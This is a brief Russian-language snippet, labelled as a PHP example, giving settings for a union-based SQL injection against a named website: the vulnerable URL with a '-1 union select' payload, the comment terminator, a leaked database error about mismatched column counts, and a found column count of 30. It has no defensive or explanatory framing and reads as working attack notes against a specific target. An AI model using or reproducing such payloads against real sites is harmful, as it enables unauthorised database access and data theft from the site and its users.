Пример на php

host :www.pharm-system.com
left : /index.phtml?page=news&id=-1+union+select+
right : /*
erorr : Error in query 2 The used SELECT statements have a different number of columns (смотрим тут http://www.pharm-system.com/index.phtml?page=news&id=-1+union+select+1/*)
coll : 30